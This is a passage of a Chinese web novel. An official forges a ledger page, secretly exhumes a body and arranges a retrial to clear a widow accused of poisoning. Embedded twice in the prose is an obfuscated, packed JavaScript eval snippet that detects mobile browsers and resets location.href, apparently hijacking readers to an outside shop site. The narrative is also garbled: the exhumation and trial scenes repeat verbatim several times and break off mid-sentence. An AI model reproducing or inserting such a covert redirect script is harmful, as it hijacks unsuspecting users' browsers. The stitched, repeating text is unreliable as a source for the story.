苗菁原本以为何首是被长公主的人收买,在账册上做了手脚,又做了伪证。 若何首说的都是真的,那账册也是真的,只能说明…… 一个念头在心底缓缓成型,让他脸色愈发沉冷。 莫非……这件事是真的? 事已至此,他再逼问何首也无用,只能起身,大步朝外走去。 他必须再去一趟顺天府大牢,问一问郭晓芸。 顺天府大牢,苗菁屏退左右,独留他与郭晓芸二人相对,沉默片刻,才低声开口,问起徐维私下购买**一节。 “晓芸,我审问了何首,他始终坚持堂上的说法,依我看,他不像在说假话。此事,你怎么看?” 这话入耳,郭晓芸先是一怔,随即整张脸“唰”地通红,一直红到耳根脖颈。 郭晓芸这些日子不是没想过,何首的为人她也算有些了解,是个心善又有些迂腐的人,她与徐维手头拮据,时常拖欠药费,何首从来没有催过一次,四邻对何首的评价也很好。 徐维那个玉佩一直贴身佩戴,又不算什么名贵的东西,若不是他主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217472|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动送出去,谁会特意来偷呢? 郭晓芸思来想去,这件事很有可能是真的。 这般闺房私密、难以启齿的事,要她同苗菁说,简直比受刑还要难堪。 可事关她的清白,事关生死荣辱,由不得她羞涩回避。 犹豫许久,郭晓芸才红着眼、咬着唇,声音细若蚊蚋,断断续续地解释: “夫君……夫君在离世前两个月,有几日精神略好了些,气色也稍见回转。那几日他……他对我格外亲近,几次想要与我行夫妻之实。可我见他身子依旧虚薄,哪里敢应,死活拦着,只劝他安心静养,等彻底好了再说……” 她顿了顿,声音更低,带着几分难言的涩意: “这些日子我仔细想过,这事可能是真的。夫君在病中时,因久病体虚,有过几回心有余而力不足。他本就心思重、又极好强,怕是那几回……便在心里落下了心病。我那次执意不肯,他必定以为……以为我是嫌弃他不行,才不愿依从。他心里憋着一股气,又不愿在我面前露怯,这才……这才瞒着我,偷偷出去买了那种药。” 一席话讲完,郭晓芸头垂得更低,眼眶泛红,又是羞臊,又是心酸。 苗菁站在原地,脸色沉沉,久久未发一言。 心底最后一丝疑虑彻底落定。 何首没有撒谎。 徐维真的去过医馆。 **一事,竟是真的。 只是这真相,与**无关,与歹毒无关,不过是一个病重丈夫的自卑、自尊,与对妻子深藏的情意。 可偏偏,这真相被人利用,成了刺向郭晓芸最阴毒的一把刀。 苗菁其实能理解徐维,一个男人整日面对自己喜欢的人,不管是生理还是心理,都十分想和她亲近。 或许徐维动心思的那一刻,他也没料到,一包**,竟在几年后给心爱的女人带来这么大的麻烦。 第270章 再再开堂 苗菁闭了闭眼,他必须把“真事”,变成“**”。 “晓芸,你别担心,这件事我来处理,你只需记住,徐维没有去买过**,这一切都是别人为了构陷你而做的局。” 从大牢离开,苗菁去找了府尹周停云。 “周大人,本官要调取何首医馆的那本账册,以作查证。” 调取证物,本就在锦衣卫职权之内,周停云哪里敢拦,当即顺水推舟,连声应道:“苗大人要用,尽管拿去,下官这就让人取来送上。” 不过半刻钟,那本决定郭晓芸生死的旧账册,便被稳妥送到了苗菁面前。 苗菁接过,指尖拂过泛黄的纸页,眸色深暗。 接下来,便是他的手段了。 锦衣卫之中,本就有专门处理文书、伪造勘验的顶尖吏员,笔墨、纸张、做旧、做新,无一不精,能让千年旧纸仿如新纸,也能让新写文书瞬间古旧,真假难辨。 苗菁将那本账册交到吏员手中,只淡淡一句:“把这一页,做得比整本都新,要一眼便能看出,是后补进去的。” “属下遵命。” 吏员捧着账册,在灯下细细端详,先取了与原账墨色相近的新墨,提笔凝神,将那一页上记载徐维购药的字迹,从头到尾轻轻描摹了一遍,笔锋、间距、字形,与原字分毫不差,只墨色更浓亮。 待墨迹彻底干透,吏员又取来一小碗早已调好的白芨水,这是修书裱画专用的浆液,色清如水,干后能让纸面微微泛白发亮,是做新的手段。 吏员执笔蘸水,在那一页纸面上极轻地刷了两遍,力道均匀,不晕不皱,只让纸面微微吸汁。 静置片刻,水分干透。 再看那一页,已然纸面发白、光洁发亮,墨迹黑亮醒目,与整本泛黄发暗、陈旧发脆的账册一对比,新旧之差,一目了然,任谁来看,都只会认定:这一页是新近伪造、事后补录进去的。 苗菁上前翻看一眼,眸中冷光微敛,满意地点了点头。 证据一足,他立刻又召来宫中经验最老的仵作,闭门密谈,细细询问:肺痨久病之人,死后会是何等面色、何等骨相、何等痕迹。 老仵作据实回禀: 肺痨之人生前阴虚咯血、气血耗尽,死后面色青灰、口鼻间常有暗痂,乃是寻常死状,绝非**。 苗菁心中大定。 当夜三更,他亲自带人,悄无声息前往徐维坟地。 夜色深沉,四下无人,锦衣卫动作利落,片刻便将坟茔小心掘开,开棺 检视。 苗菁走上前,借着校尉手中点燃的火把往里看,棺中尸骨已然入土多时,通体发白,并无半点**发黑之状,与老仵作所言分毫不差。 苗菁悬着的心彻底落下,沉声道:“恢复原样,不得留下半分痕迹。” 众人迅速将棺木盖好,填土、压实、恢复坟头样貌,仿佛从无人来过。 一切布置妥当,苗菁才命人前往顺天府,与府尹周停云正式交涉: “证据已齐,可以重审。” 开堂之日,顺天府衙从堂内到堂外,早已被围得水泄不通。 百姓听闻此案重审,一个个蜂拥而来,大门外人山人海,挤得水泄不通,连落脚之地都没有。 衙役们维持秩序都人手不足,不得已只能将街口道路尽数封死,只许看不许挤,喧闹之声,几欲掀翻屋顶。 所有人都在等着看: 这位被传成“毒妇”的郭氏,今日究竟是生是死。 而这一次,郭晓芸不必再独自站在堂前,面对满堂非议与诘问。 苗菁早已为她安排好了经验最老道、口才最凌厉的状师,她只需要静静站在一旁,等着苗菁为她,把所有颠倒的黑白,一一拨正。 时辰一到,府尹周停云身着官服,端坐于公堂之上,手持惊堂木,轻轻一拍,沉声道:“升堂!” “威武——”堂下的衙役们齐声高喊,声音洪亮,震得人耳膜发颤,喧闹的人群瞬间安静了几分,所有人的目光,都聚焦在了公堂之上。 状师一身青衫,神色从容不迫,先对着府尹周停云躬身一礼,朗声道:“大人,欲断此案,先论人心。欲知郭氏是否毒杀亲夫,当先问她与徐举人平日情分如何,是否具备**动机。在下已请来了徐、郭二人昔日旧邻,皆是街坊百姓,无亲无故,所言必是实情。” 说罢,便有三四位邻里依次上前,对着堂上躬身行礼。 周停云颔首:“但说无妨。” 第一位老者先开口:“回大人,徐举人与郭娘子很恩爱,夏日怕她暑气重,徐举人常买了瓜果挂在我家井里冰镇着。郭娘子更是温柔贤淑,端茶送水、煎药熬汤,从无半句怨言。” 第二位妇人连连点头,眼眶微热:“是啊大人,奴家就住他们隔壁。徐举人一年到头就那几件衣裳,可郭娘子过段时间总有新衣裳,有一回郭娘子气得把徐举人买的新布拿去换,两口子还争了起来。有一次徐举人病得重,郭娘子跪在佛前许愿,愿减自己寿数换夫君安康——这般重情重义的女子,怎么可能会毒杀自己的夫君?大人,您可一定要明察啊!” 更有一位年轻媳妇忍不住感叹出声:“徐举人回家从不空着手,不是买吃的,就是买块布,连糖葫芦这种小孩儿吃的东西都要带回来给郭娘子。民妇说句实在话,这般细心体贴、满心满眼都是妻子的夫君,世间少有;这般温柔贤淑、悉心伺候夫君的妻子,也不多见。若民妇的夫君,也能如徐举人这般待民妇,莫说伺候他病榻之前,便是伺候他一辈子,民妇也心甘情愿!郭娘子怎么可能会害他?定然是被人冤枉的!” 几句话说得真切,堂下围观百姓纷纷点头,原本因流言对郭晓芸的鄙夷,已然松动了几分。 状师见状,再度对着周停云躬身,声音清朗:“大人明鉴。徐举人自幼在家中备受冷落,郭氏亦是孤女,二人相依为命,情深义重,互为彼此唯一依靠。郭氏心性纯善,待夫恭敬孝顺,于情于理,绝无可能对夫君下此毒手!” 徐正一听,立刻急眼上前,涨红着脸嘶吼:“你胡说!那是她装出来的!证据确凿,那毒妇就是为了改嫁苗大人,才害死我家大郎!” 检视。 苗菁走上前,借着校尉手中点燃的火把往里看,棺中尸骨已然入土多时,通体发白,并无半点**发黑之状,与老仵作所言分毫不差。 苗菁悬着的心彻底落下,沉声道:“恢复原样,不得留下半分痕迹。” 众人迅速将棺木盖好,填土、压实、恢复坟头样貌,仿佛从无人来过。 一切布置妥当,苗菁才命人前往顺天府,与府尹周停云正式交涉: “证据已齐,可以重审。” 开堂之日,顺天府衙从堂内到堂外,早已被围得水泄不通。 百姓听闻此案重审,一个个蜂拥而来,大门外人山人海,挤得水泄不通,连落脚之地都没有。 衙役们维持秩序都人手不足,不得已只能将街口道路尽数封死,只许看不许挤,喧闹之声,几欲掀翻屋顶。 所有人都在等着看: 这位被传成“毒妇”的郭氏,今日究竟是生是死。 而这一次,郭晓芸不必再独自站在堂前,面对满堂非议与诘问。 苗菁早已为她安排好了经验最老道、口才最凌厉的状师,她只需要静静站在一旁,等着苗菁为她,把所有颠倒的黑白,一一拨正。 时辰一到,府尹周停云身着官服,端坐于公堂之上,手持惊堂木,轻轻一拍,沉声道:“升堂!” “威武——”堂下的衙役们齐声高喊,声音洪亮,震得人耳膜发颤,喧闹的人群瞬间安静了几分,所有人的目光,都聚焦在了公堂之上。 状师一身青衫,神色从容不迫,先对着府尹周停云躬身一礼,朗声道:“大人,欲断此案,先论人心。欲知郭氏是否毒杀亲夫,当先问她与徐举人平日情分如何,是否具备**动机。在下已请来了徐、郭二人昔日旧邻,皆是街坊百姓,无亲无故,所言必是实情。” 说罢,便有三四位邻里依次上前,对着堂上躬身行礼。 周停云颔首:“但说无妨。” 第一位老者先开口:“回大人,徐举人与郭娘子很恩爱,夏日怕她暑气重,徐举人常买了瓜果挂在我家井里冰镇着。郭娘子更是温柔贤淑,端茶送水、煎药熬汤,从无半句怨言。” 第二位妇人连连点头,眼眶微热:“是啊大人,奴家就住他们隔壁。徐举人一年到头就那几件衣裳,可郭娘子过段时间总有新衣裳,有一回郭娘子气得把徐举人买的新布拿去换,两口子还争了起来。有一次徐举人病得重,郭娘子跪在佛前许愿,愿减自己寿数换夫君安康——这般重情重义的女子,怎么可能会毒杀自己的夫君?大人,您可一定要明察啊!” 更有一位年轻媳妇忍不住感叹出声:“徐举人回家从不空着手,不是买吃的,就是买块布,连糖葫芦这种小孩儿吃的东西都要带回来给郭娘子。民妇说句实在话,这般细心体贴、满心满眼都是妻子的夫君,世间少有;这般温柔贤淑、悉心伺候夫君的妻子,也不多见。若民妇的夫君,也能如徐举人这般待民妇,莫说伺候他病榻之前,便是伺候他一辈子,民妇也心甘情愿!郭娘子怎么可能会害他?定然是被人冤枉的!” 几句话说得真切,堂下围观百姓纷纷点头,原本因流言对郭晓芸的鄙夷,已然松动了几分。 状师见状,再度对着周停云躬身,声音清朗:“大人明鉴。徐举人自幼在家中备受冷落,郭氏亦是孤女,二人相依为命,情深义重,互为彼此唯一依靠。郭氏心性纯善,待夫恭敬孝顺,于情于理,绝无可能对夫君下此毒手!” 徐正一听,立刻急眼上前,涨红着脸嘶吼:“你胡说!那是她装出来的!证据确凿,那毒妇就是为了改嫁苗大人,才害死我家大郎!” 检视。 苗菁走上前,借着校尉手中点燃的火把往里看,棺中尸骨已然入土多时,通体发白,并无半点**发黑之状,与老仵作所言分毫不差。 苗菁悬着的心彻底落下,沉声道:“恢复原样,不得留下半分痕迹。” 众人迅速将棺木盖好,填土、压实、恢复坟头样貌,仿佛从无人来过。 一切布置妥当,苗菁才命人前往顺天府,与府尹周停云正式交涉: “证据已齐,可以重审。” 开堂之日,顺天府衙从堂内到堂外,早已被围得水泄不通。 百姓听闻此案重审,一个个蜂拥而来,大门外人山人海,挤得水泄不通,连落脚之地都没有。 衙役们维持秩序都人手不足,不得已只能将街口道路尽数封死,只许看不许挤,喧闹之声,几欲掀翻屋顶。 所有人都在等着看: 这位被传成“毒妇”的郭氏,今日究竟是生是死。 而这一次,郭晓芸不必再独自站在堂前,面对满堂非议与诘问。 苗菁早已为她安排好了经验最老道、口才最凌厉的状师,她只需要静静站在一旁,等着苗菁为她,把所有颠倒的黑白,一一拨正。 时辰一到,府尹周停云身着官服,端坐于公堂之上,手持惊堂木,轻轻一拍,沉声道:“升堂!” “威武——”堂下的衙役们齐声高喊,声音洪亮,震得人耳膜发颤,喧闹的人群瞬间安静了几分,所有人的目光,都聚焦在了公堂之上。 状师一身青衫,神色从容不迫,先对着府尹周停云躬身一礼,朗声道:“大人,欲断此案,先论人心。欲知郭氏是否毒杀亲夫,当先问她与徐举人平日情分如何,是否具备**动机。在下已请来了徐、郭二人昔日旧邻,皆是街坊百姓,无亲无故,所言必是实情。” 说罢,便有三四位邻里依次上前,对着堂上躬身行礼。 周停云颔首:“但说无妨。” 第一位老者先开口:“回大人,徐举人与郭娘子很恩爱,夏日怕她暑气重,徐举人常买了瓜果挂在我家井里冰镇着。郭娘子更是温柔贤淑,端茶送水、煎药熬汤,从无半句怨言。” 第二位妇人连连点头,眼眶微热:“是啊大人,奴家就住他们隔壁。徐举人一年到头就那几件衣裳,可郭娘子过段时间总有新衣裳,有一回郭娘子气得把徐举人买的新布拿去换,两口子还争了起来。有一次徐举人病得重,郭娘子跪在佛前许愿,愿减自己寿数换夫君安康——这般重情重义的女子,怎么可能会毒杀自己的夫君?大人,您可一定要明察啊!” 更有一位年轻媳妇忍不住感叹出声:“徐举人回家从不空着手,不是买吃的,就是买块布,连糖葫芦这种小孩儿吃的东西都要带回来给郭娘子。民妇说句实在话,这般细心体贴、满心满眼都是妻子的夫君,世间少有;这般温柔贤淑、悉心伺候夫君的妻子,也不多见。若民妇的夫君,也能如徐举人这般待民妇,莫说伺候他病榻之前,便是伺候他一辈子,民妇也心甘情愿!郭娘子怎么可能会害他?定然是被人冤枉的!” 几句话说得真切,堂下围观百姓纷纷点头,原本因流言对郭晓芸的鄙夷,已然松动了几分。 状师见状,再度对着周停云躬身,声音清朗:“大人明鉴。徐举人自幼在家中备受冷落,郭氏亦是孤女,二人相依为命,情深义重,互为彼此唯一依靠。郭氏心性纯善,待夫恭敬孝顺,于情于理,绝无可能对夫君下此毒手!” 徐正一听,立刻急眼上前,涨红着脸嘶吼:“你胡说!那是她装出来的!证据确凿,那毒妇就是为了改嫁苗大人,才害死我家大郎!” 检视。 苗菁走上前,借着校尉手中点燃的火把往里看,棺中尸骨已然入土多时,通体发白,并无半点**发黑之状,与老仵作所言分毫不差。 苗菁悬着的心彻底落下,沉声道:“恢复原样,不得留下半分痕迹。” 众人迅速将棺木盖好,填土、压实、恢复坟头样貌,仿佛从无人来过。 一切布置妥当,苗菁才命人前往顺天府,与府尹周停云正式交涉: “证据已齐,可以重审。” 开堂之日,顺天府衙从堂内到堂外,早已被围得水泄不通。 百姓听闻此案重审,一个个蜂拥而来,大门外人山人海,挤得水泄不通,连落脚之地都没有。 衙役们维持秩序都人手不足,不得已只能将街口道路尽数封死,只许看不许挤,喧闹之声,几欲掀翻屋顶。 所有人都在等着看: 这位被传成“毒妇”的郭氏,今日究竟是生是死。 而这一次,郭晓芸不必再独自站在堂前,面对满堂非议与诘问。 苗菁早已为她安排好了经验最老道、口才最凌厉的状师,她只需要静静站在一旁,等着苗菁为她,把所有颠倒的黑白,一一拨正。 时辰一到,府尹周停云身着官服,端坐于公堂之上,手持惊堂木,轻轻一拍,沉声道:“升堂!” “威武——”堂下的衙役们齐声高喊,声音洪亮,震得人耳膜发颤,喧闹的人群瞬间安静了几分,所有人的目光,都聚焦在了公堂之上。 状师一身青衫,神色从容不迫,先对着府尹周停云躬身一礼,朗声道:“大人,欲断此案,先论人心。欲知郭氏是否毒杀亲夫,当先问她与徐举人平日情分如何,是否具备**动机。在下已请来了徐、郭二人昔日旧邻,皆是街坊百姓,无亲无故,所言必是实情。” 说罢,便有三四位邻里依次上前,对着堂上躬身行礼。 周停云颔首:“但说无妨。” 第一位老者先开口:“回大人,徐举人与郭娘子很恩爱,夏日怕她暑气重,徐举人常买了瓜果挂在我家井里冰镇着。郭娘子更是温柔贤淑,端茶送水、煎药熬汤,从无半句怨言。” 第二位妇人连连点头,眼眶微热:“是啊大人,奴家就住他们隔壁。徐举人一年到头就那几件衣裳,可郭娘子过段时间总有新衣裳,有一回郭娘子气得把徐举人买的新布拿去换,两口子还争了起来。有一次徐举人病得重,郭娘子跪在佛前许愿,愿减自己寿数换夫君安康——这般重情重义的女子,怎么可能会毒杀自己的夫君?大人,您可一定要明察啊!” 更有一位年轻媳妇忍不住感叹出声:“徐举人回家从不空着手,不是买吃的,就是买块布,连糖葫芦这种小孩儿吃的东西都要带回来给郭娘子。民妇说句实在话,这般细心体贴、满心满眼都是妻子的夫君,世间少有;这般温柔贤淑、悉心伺候夫君的妻子,也不多见。若民妇的夫君,也能如徐举人这般待民妇,莫说伺候他病榻之前,便是伺候他一辈子,民妇也心甘情愿!郭娘子怎么可能会害他?定然是被人冤枉的!” 几句话说得真切,堂下围观百姓纷纷点头,原本因流言对郭晓芸的鄙夷,已然松动了几分。 状师见状,再度对着周停云躬身,声音清朗:“大人明鉴。徐举人自幼在家中备受冷落,郭氏亦是孤女,二人相依为命,情深义重,互为彼此唯一依靠。郭氏心性纯善,待夫恭敬孝顺,于情于理,绝无可能对夫君下此毒手!” 徐正一听,立刻急眼上前,涨红着脸嘶吼:“你胡说!那是她装出来的!证据确凿,那毒妇就是为了改嫁苗大人,才害死我家大郎!” 检视。 苗菁走上前,借着校尉手中点燃的火把往里看,棺中尸骨已然入土多时,通体发白,并无半点**发黑之状,与老仵作所言分毫不差。 苗菁悬着的心彻底落下,沉声道:“恢复原样,不得留下半分痕迹。” 众人迅速将棺木盖好,填土、压实、恢复坟头样貌,仿佛从无人来过。 一切布置妥当,苗菁才命人前往顺天府,与府尹周停云正式交涉: “证据已齐,可以重审。” 开堂之日,顺天府衙从堂内到堂外,早已被围得水泄不通。 百姓听闻此案重审,一个个蜂拥而来,大门外人山人海,挤得水泄不通,连落脚之地都没有。 衙役们维持秩序都人手不足,不得已只能将街口道路尽数封死,只许看不许挤,喧闹之声,几欲掀翻屋顶。 所有人都在等着看: 这位被传成“毒妇”的郭氏,今日究竟是生是死。 而这一次,郭晓芸不必再独自站在堂前,面对满堂非议与诘问。 苗菁早已为她安排好了经验最老道、口才最凌厉的状师,她只需要静静站在一旁,等着苗菁为她,把所有颠倒的黑白,一一拨正。 时辰一到,府尹周停云身着官服,端坐于公堂之上,手持惊堂木,轻轻一拍,沉声道:“升堂!” “威武——”堂下的衙役们齐声高喊,声音洪亮,震得人耳膜发颤,喧闹的人群瞬间安静了几分,所有人的目光,都聚焦在了公堂之上。 状师一身青衫,神色从容不迫,先对着府尹周停云躬身一礼,朗声道:“大人,欲断此案,先论人心。欲知郭氏是否毒杀亲夫,当先问她与徐举人平日情分如何,是否具备**动机。在下已请来了徐、郭二人昔日旧邻,皆是街坊百姓,无亲无故,所言必是实情。” 说罢,便有三四位邻里依次上前,对着堂上躬身行礼。 周停云颔首:“但说无妨。” 第一位老者先开口:“回大人,徐举人与郭娘子很恩爱,夏日怕她暑气重,徐举人常买了瓜果挂在我家井里冰镇着。郭娘子更是温柔贤淑,端茶送水、煎药熬汤,从无半句怨言。” 第二位妇人连连点头,眼眶微热:“是啊大人,奴家就住他们隔壁。徐举人一年到头就那几件衣裳,可郭娘子过段时间总有新衣裳,有一回郭娘子气得把徐举人买的新布拿去换,两口子还争了起来。有一次徐举人病得重,郭娘子跪在佛前许愿,愿减自己寿数换夫君安康——这般重情重义的女子,怎么可能会毒杀自己的夫君?大人,您可一定要明察啊!” 更有一位年轻媳妇忍不住感叹出声:“徐举人回家从不空着手,不是买吃的,就是买块布,连糖葫芦这种小孩儿吃的东西都要带回来给郭娘子。民妇说句实在话,这般细心体贴、满心满眼都是妻子的夫君,世间少有;这般温柔贤淑、悉心伺候夫君的妻子,也不多见。若民妇的夫君,也能如徐举人这般待民妇,莫说伺候他病榻之前,便是伺候他一辈子,民妇也心甘情愿!郭娘子怎么可能会害他?定然是被人冤枉的!” 几句话说得真切,堂下围观百姓纷纷点头,原本因流言对郭晓芸的鄙夷,已然松动了几分。 状师见状,再度对着周停云躬身,声音清朗:“大人明鉴。徐举人自幼在家中备受冷落,郭氏亦是孤女,二人相依为命,情深义重,互为彼此唯一依靠。郭氏心性纯善,待夫恭敬孝顺,于情于理,绝无可能对夫君下此毒手!” 徐正一听,立刻急眼上前,涨红着脸嘶吼:“你胡说!那是她装出来的!证据确凿,那毒妇就是为了改嫁苗大人,才害死我家大郎!” 检视。 苗菁走上前,借着校尉手中点燃的火把往里看,棺中尸骨已然入土多时,通体发白,并无半点**发黑之状,与老仵作所言分毫不差。 苗菁悬着的心彻底落下,沉声道:“恢复原样,不得留下半分痕迹。” 众人迅速将棺木盖好,填土、压实、恢复坟头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第二位妇人连连点头,眼眶微热:“是啊大人,奴家就住他们隔壁。徐举人一年到头就那几件衣裳,可郭娘子过段时间总有新衣裳,有一回郭娘子气得把徐举人买的新布拿去换,两口子还争了起来。有一次徐举人病得重,郭娘子跪在佛前许愿,愿减自己寿数换夫君安康——这般重情重义的女子,怎么可能会毒杀自己的夫君?大人,您可一定要明察啊!” 更有一位年轻媳妇忍不住感叹出声:“徐举人回家从不空着手,不是买吃的,就是买块布,连糖葫芦这种小孩儿吃的东西都要带回来给郭娘子。民妇说句实在话,这般细心体贴、满心满眼都是妻子的夫君,世间少有;这般温柔贤淑、悉心伺候夫君的妻子,也不多见。若民妇的夫君,也能如徐举人这般待民妇,莫说伺候他病榻之前,便是伺候他一辈子,民妇也心甘情愿!郭娘子怎么可能会害他?定然是被人冤枉的!” 几句话说得真切,堂下围观百姓纷纷点头,原本因流言对郭晓芸的鄙夷,已然松动了几分。 状师见状,再度对着周停云躬身,声音清朗:“大人明鉴。徐举人自幼在家中备受冷落,郭氏亦是孤女,二人相依为命,情深义重,互为彼此唯一依靠。郭氏心性纯善,待夫恭敬孝顺,于情于理,绝无可能对夫君下此毒手!” 徐正一听,立刻急眼上前,涨红着脸嘶吼:“你胡说!那是她装出来的!证据确凿,那毒妇就是为了改嫁苗大人,才害死我家大郎!” 检视。 苗菁走上前,借着校尉手中点燃的火把往里看,棺中尸骨已然入土多时,通体发白,并无半点**发黑之状,与老仵作所言分毫不差。 苗菁悬着的心彻底落下,沉声道:“恢复原样,不得留下半分痕迹。” 众人迅速将棺木盖好,填土、压实、恢复坟头样貌,仿佛从无人来过。 一切布置妥当,苗菁才命人前往顺天府,与府尹周停云正式交涉: “证据已齐,可以重审。” 开堂之日,顺天府衙从堂内到堂外,早已被围得水泄不通。 百姓听闻此案重审,一个个蜂拥而来,大门外人山人海,挤得水泄不通,连落脚之地都没有。 衙役们维持秩序都人手不足,不得已只能将街口道路尽数封死,只许看不许挤,喧闹之声,几欲掀翻屋顶。 所有人都在等着看: 这位被传成“毒妇”的郭氏,今日究竟是生是死。 而这一次,郭晓芸不必再独自站在堂前,面对满堂非议与诘问。 苗菁早已为她安排好了经验最老道、口才最凌厉的状师,她只需要静静站在一旁,等着苗菁为她,把所有颠倒的黑白,一一拨正。 时辰一到,府尹周停云身着官服,端坐于公堂之上,手持惊堂木,轻轻一拍,沉声道:“升堂!” “威武——”堂下的衙役们齐声高喊,声音洪亮,震得人耳膜发颤,喧闹的人群瞬间安静了几分,所有人的目光,都聚焦在了公堂之上。 状师一身青衫,神色从容不迫,先对着府尹周停云躬身一礼,朗声道:“大人,欲断此案,先论人心。欲知郭氏是否毒杀亲夫,当先问她与徐举人平日情分如何,是否具备**动机。在下已请来了徐、郭二人昔日旧邻,皆是街坊百姓,无亲无故,所言必是实情。” 说罢,便有三四位邻里依次上前,对着堂上躬身行礼。 周停云颔首:“但说无妨。” 第一位老者先开口:“回大人,徐举人与郭娘子很恩爱,夏日怕她暑气重,徐举人常买了瓜果挂在我家井里冰镇着。郭娘子更是温柔贤淑,端茶送水、煎药熬汤,从无半句怨言。” 第二位妇人连连点头,眼眶微热:“是啊大人,奴家就住他们隔壁。徐举人一年到头就那几件衣裳,可郭娘子过段时间总有新衣裳,有一回郭娘子气得把徐举人买的新布拿去换,两口子还争了起来。有一次徐举人病得重,郭娘子跪在佛前许愿,愿减自己寿数换夫君安康——这般重情重义的女子,怎么可能会毒杀自己的夫君?大人,您可一定要明察啊!” 更有一位年轻媳妇忍不住感叹出声:“徐举人回家从不空着手,不是买吃的,就是买块布,连糖葫芦这种小孩儿吃的东西都要带回来给郭娘子。民妇说句实在话,这般细心体贴、满心满眼都是妻子的夫君,世间少有;这般温柔贤淑、悉心伺候夫君的妻子,也不多见。若民妇的夫君,也能如徐举人这般待民妇,莫说伺候他病榻之前,便是伺候他一辈子,民妇也心甘情愿!郭娘子怎么可能会害他?定然是被人冤枉的!” 几句话说得真切,堂下围观百姓纷纷点头,原本因流言对郭晓芸的鄙夷,已然松动了几分。 状师见状,再度对着周停云躬身,声音清朗:“大人明鉴。徐举人自幼在家中备受冷落,郭氏亦是孤女,二人相依为命,情深义重,互为彼此唯一依靠。郭氏心性纯善,待夫恭敬孝顺,于情于理,绝无可能对夫君下此毒手!” 徐正一听,立刻急眼上前,涨红着脸嘶吼:“你胡说!那是她装出来的!证据确凿,那毒妇就是为了改嫁苗大人,才害死我家大郎!” 检视。 苗菁走上前,借着校尉手中点燃的火把往里看,棺中尸骨已然入土多时,通体发白,并无半点**发黑之状,与老仵作所言分毫不差。 苗菁悬着的心彻底落下,沉声道:“恢复原样,不得留下半分痕迹。” 众人迅速将棺木盖好,填土、压实、恢复坟头样貌,仿佛从无人来过。 一切布置妥当,苗菁才命人前往顺天府,与府尹周停云正式交涉: “证据已齐,可以重审。” 开堂之日,顺天府衙从堂内到堂外,早已被围得水泄不通。 百姓听闻此案重审,一个个蜂拥而来,大门外人山人海,挤得水泄不通,连落脚之地都没有。 衙役们维持秩序都人手不足,不得已只能将街口道路尽数封死,只许看不许挤,喧闹之声,几欲掀翻屋顶。 所有人都在等着看: 这位被传成“毒妇”的郭氏,今日究竟是生是死。 而这一次,郭晓芸不必再独自站在堂前,面对满堂非议与诘问。 苗菁早已为她安排好了经验最老道、口才最凌厉的状师,她只需要静静站在一旁,等着苗菁为她,把所有颠倒的黑白,一一拨正。 时辰一到,府尹周停云身着官服,端坐于公堂之上,手持惊堂木,轻轻一拍,沉声道:“升堂!” “威武——”堂下的衙役们齐声高喊,声音洪亮,震得人耳膜发颤,喧闹的人群瞬间安静了几分,所有人的目光,都聚焦在了公堂之上。 状师一身青衫,神色从容不迫,先对着府尹周停云躬身一礼,朗声道:“大人,欲断此案,先论人心。欲知郭氏是否毒杀亲夫,当先问她与徐举人平日情分如何,是否具备**动机。在下已请来了徐、郭二人昔日旧邻,皆是街坊百姓,无亲无故,所言必是实情。” 说罢,便有三四位邻里依次上前,对着堂上躬身行礼。 周停云颔首:“但说无妨。” 第一位老者先开口:“回大人,徐举人与郭娘子很恩爱,夏日怕她暑气重,徐举人常买了瓜果挂在我家井里冰镇着。郭娘子更是温柔贤淑,端茶送水、煎药熬汤,从无半句怨言。” 第二位妇人连连点头,眼眶微热:“是啊大人,奴家就住他们隔壁。徐举人一年到头就那几件衣裳,可郭娘子过段时间总有新衣裳,有一回郭娘子气得把徐举人买的新布拿去换,两口子还争了起来。有一次徐举人病得重,郭娘子跪在佛前许愿,愿减自己寿数换夫君安康——这般重情重义的女子,怎么可能会毒杀自己的夫君?大人,您可一定要明察啊!” 更有一位年轻媳妇忍不住感叹出声:“徐举人回家从不空着手,不是买吃的,就是买块布,连糖葫芦这种小孩儿吃的东西都要带回来给郭娘子。民妇说句实在话,这般细心体贴、满心满眼都是妻子的夫君,世间少有;这般温柔贤淑、悉心伺候夫君的妻子,也不多见。若民妇的夫君,也能如徐举人这般待民妇,莫说伺候他病榻之前,便是伺候他一辈子,民妇也心甘情愿!郭娘子怎么可能会害他?定然是被人冤枉的!” 几句话说得真切,堂下围观百姓纷纷点头,原本因流言对郭晓芸的鄙夷,已然松动了几分。 状师见状,再度对着周停云躬身,声音清朗:“大人明鉴。徐举人自幼在家中备受冷落,郭氏亦是孤女,二人相依为命,情深义重,互为彼此唯一依靠。郭氏心性纯善,待夫恭敬孝顺,于情于理,绝无可能对夫君下此毒手!” 徐正一听,立刻急眼上前,涨红着脸嘶吼:“你胡说!那是她装出来的!证据确凿,那毒妇就是为了改嫁苗大人,才害死我家大郎!” 第271章 反驳 状师却依旧平静,面上不见半分慌乱,只淡淡一抬手:“既然你口口声声说证据确凿,那今日,咱们便好好说说这‘证据’。——请衙役,将何大夫药铺中那所谓‘**购买凭证’呈上,在下要一观真伪。 “是。 衙役应声,将那本旧账册双手捧上,递到状师手中。 状师慢条斯理地翻开,指尖停在那页被动过手脚的账目上,随后高举账册,对着堂内堂外左右展示,朗声道:“诸位乡邻,诸位父老,今日公堂之上,无遮无掩。请大家睁大眼睛,仔细看一看——这本账册,可有什么异样? 百姓们纷纷探头张望,目光齐聚那本旧账。 不多时,人群中便有人高声喊道:“哎!有一页纸特别白、特别新!跟别的旧纸完全不一样,一看就是后来加上去的! “是啊是啊!差别太大了!一眼就能看出来! 